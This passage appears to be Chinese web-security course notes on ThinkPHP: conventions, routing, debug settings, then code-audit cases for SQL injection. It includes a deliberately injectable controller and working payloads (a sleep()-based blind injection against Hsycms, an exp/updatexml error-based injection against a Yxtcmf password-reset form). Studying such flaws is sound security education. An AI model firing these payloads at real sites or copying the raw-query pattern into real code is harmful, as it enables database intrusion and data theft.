TP框架SQL注入&安全写法&架构&路由

#知识点：
1、认识PHP开发框架TP
2、掌握TP文件目录含义   
3、掌握查找入口目录版本 
4、掌握路由URL对应文件块  
5、掌握配置代码调试开和关
6、掌握TP5代码书写安全规范

目录和文件
目录使用小写+下划线；
类库、函数文件统一以 .php 为后缀；
类的文件名均以命名空间定义，并且命名空间的路径和类库文件所在路径一致；
类文件采用驼峰法命名（首字母大写），其它文件采用小写+下划线命名；
类名和类文件名保持一致，统一采用驼峰法命名（首字母大写）；
函数和类、属性命名
类的命名采用驼峰法（首字母大写），例如 User 、 UserType ，默认不需要添加后缀，例如
UserController 应该直接命名为 User ；
函数的命名使用小写字母和下划线（小写字母开头）的方式，例如 get_client_ip ；
方法的命名使用驼峰法（首字母小写），例如 getUserName ；
属性的命名使用驼峰法（首字母小写），例如 tableName 、 instance ；
以双下划线“__”打头的函数或方法作为魔术方法，例如 __call 和 __autoload ；
常量和配置
常量以大写字母和下划线命名，例如 APP_PATH 和 THINK_PATH ；
配置参数以小写字母和下划线命名，例如 url_route_on 和 url_convert ；
数据表和字段
数据表和字段采用小写加下划线方式命名，并注意字段名不要以下划线开头，例如 think_user 表和
user_name 字段，不建议使用驼峰和中文作为数据表字段命名。
应用类库命名空间规范
应用类库的根命名空间统一为app（不建议更改，可以设置 app_namespace 配置参数更改， V5.0.8 版本
开始使用 APP_NAMESPACE 常量定义）；
例如：app\index\controller\Index 和 app\index\model\User

入口文件定义
入口文件主要完成：
定义框架路径、项目路径（可选）
定义系统相关常量（可选）
载入框架入口文件（必须）
5.0默认的应用入口文件位于 public/index.php ，内容如下：
// 定义应用目录  则application目录下的文件为核心代码 
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

URL设计
ThinkPHP 5.0 在没有启用路由的情况下典型的URL访问规则是：
http://serverName/index.php（或者其它应用入口文件）/模块/控制器/操作/[参数名/参数值...]
支持切换到命令行访问，如果切换到命令行模式下面的访问规则是：
>php.exe index.php(或者其它应用入口文件） 模块/控制器/操作/[参数名/参数值...]
可以看到，无论是URL访问还是命令行访问，都采用 PATH_INFO 访问地址，其中 PATH_INFO 的分隔符是
可以设置的。
注意：5.0 取消了URL模式的概念，并且普通模式的URL访问不再支持，但参数可以支持普通方式传值，例
如：
>php.exe index.php(或者其它应用入口文件） 模块/控制器/操作?参数名=参数值&...
如果不支持PATHINFO的服务器可以使用兼容模式访问如下：
http://serverName/index.php（或者其它应用入口文件）?s=/模块/控制器/操作/[参数名/参数值...]
必要的时候，我们可以通过某种方式，省略URL里面的模块和控制器。
URL大小写
默认情况下， URL 是不区分大小写的，也就是说 URL 里面的模块/控制器/操作名会自动转换为小写，控制
器在最后调用的时候会转换为驼峰法处理。
例如：
http://localhost/index.php/Index/Blog/read
// 和下面的访问是等效的
http://localhost/index.php/index/blog/read
如果访问下面的地址
http://localhost/index.php/Index/BlogTest/read
// 和下面的访问是等效的
http://localhost/index.php/index/blogtest/read
在这种URL不区分大小写情况下，如果要访问驼峰法的控制器类，则需要使用：
URL访问
本文档使用 看云 构建 - 30 -http://localhost/index.php/Index/blog_test/read
模块名和操作名会直接转换为小写处理。
如果希望 URL 访问严格区分大小写，可以在应用配置文件中设置：
// 关闭URL中控制器和操作名的自动转换
'url_convert' => false,
一旦关闭自动转换，URL地址中的控制器名就变成大小写敏感了，例如前面的访问地址就要写成：
http://localhost/index.php/Index/BlogTest/read
但是下面的URL访问依然是有效的：
http://localhost/index.php/Index/blog_test/read
下面的URL访问则无效：
http://localhost/index.php/Index/blogtest/read

// 应用调试模式
    'app_debug'              => true,
    // 应用Trace
    'app_trace'              => true,

url: 
http://127.0.0.1/tp5/public/index.php/index/index/test

url:
http://127.0.0.1/tp5/public/index.php/index/index/xiaodi?i=1

// Test.php
{
    //index.php/index/test/x
  public function x()
{
    echo 'x test';
  }
  public function testsqlin()
{  
    //自写数据库查询，存在注入
    $id=$_GET['x'];
    $conn=mysql_connect("127.0.0.1","root","root");
    $sql="select * from injection.users where id=$id";
    echo $sql;
    $result=mysql_query($sql,$conn);
  }
  public function testsqlin1()
{
    //table('users')->where('id',1)->select();
        //$id=input('?get.id');
        $id=input('id');
        db('users')->field('id')->where('id',$id)->select();
  }
  public function index()
{
        $username = request()->get('id/a');
        db('users')->insert(['id' => $username]);
        return 'Update success';
    }
}

url:
http://127.0.0.1/tp5/public/index.php/xiaodi/Index/test
http://127.0.0.1/tp5/public/index.php/xiaodi/Index/xiaodi

#代码审计-案例1-Hsycms_Tp5框架注入&逻辑(没有完整安全写法)
流程：入口-版本-调试-路由-特定漏洞特性写法搜索或版本漏洞触发关键字
1.注入input：and if(1<2,sleep(2),sleep(0)) and (1=1.html

 public function index()
{
    $id = input('id');
    // 添加调试
    echo $id;
    $one  = db('article')->where('id',$id)->find();      
    if(empty($one)){ exit("文章不存在");}    
    $navrow = db('nav')->where('id',$one['nid'])->find();    
    $data['showcate'] = $navrow['showcate'];    
    $data['entitle']  = $navrow['entitle'];
    $data['columnName'] = $navrow['title'];
    $data["banner"]   = isMobile() ? $navrow['img1'] : $navrow['img'];
    $data['id'] = $id;
    $view['views'] = $one['views']+1;
    db('article')->where('id',$id)->update($view);//浏览次数        
    //无分类
    if($data['showcate']==0){       
      $data["leftlist"] = db('article')->field('id,title')->where('nid',$one['nid'])->order("sort,id")->select();            

UPDATE `sy_article` SET `views`=49 WHERE `id` = '133 and 222=222'
SELECT `id`,`title` FROM `sy_article` WHERE ( id < 133 and 222=222 and nid=3 and cid=34 ) ORDER BY `id` DESC LIMIT 1

#代码审计-案例2-Yxtcmf_Tp3本身框架SQL注入（本身的框架漏洞）
流程：入口-版本-调试-路由-特定漏洞特性写法搜索或版本漏洞触发关键字
参考：https://y4er.com/post/thinkphp3-vuln/
password=123456&repassword=123456&tel[0]=exp&tel[1]=='111' and updatexml(1,concat(0x7e,user(),0x7e),1)#

function repassword(){
    $users_model=M("Users");
    $mobile_verify=$_POST['mobileCode'];
    $password=$_POST['password'];
    $repassword=$_POST['repassword'];
    $mobile=$_POST['tel'];
    $where['mobile']=$mobile;
      if(strlen($password) < 5 || strlen($password) > 20){
      $result['code']='password';
      $result['success']=false;
      $result['message']="密码长度至少5位，最多20位！";
      }elseif($password !=$repassword){
      $result['code']='repassword';
      $result['success']=false;
      $result['message']="两次密码不一致！";
      }elseif($mobile_verify =$_SESSION['mobile_verify']){
      $result['code']='mobile_verify';
      $result['success']=false;
      $result['message']="手机验证码不正确！";
    }elseif(!$users_model->where($where)->find()){
      $result['code']='user';
      $result['success']=false;
      $result['message']="该手机号未注册！";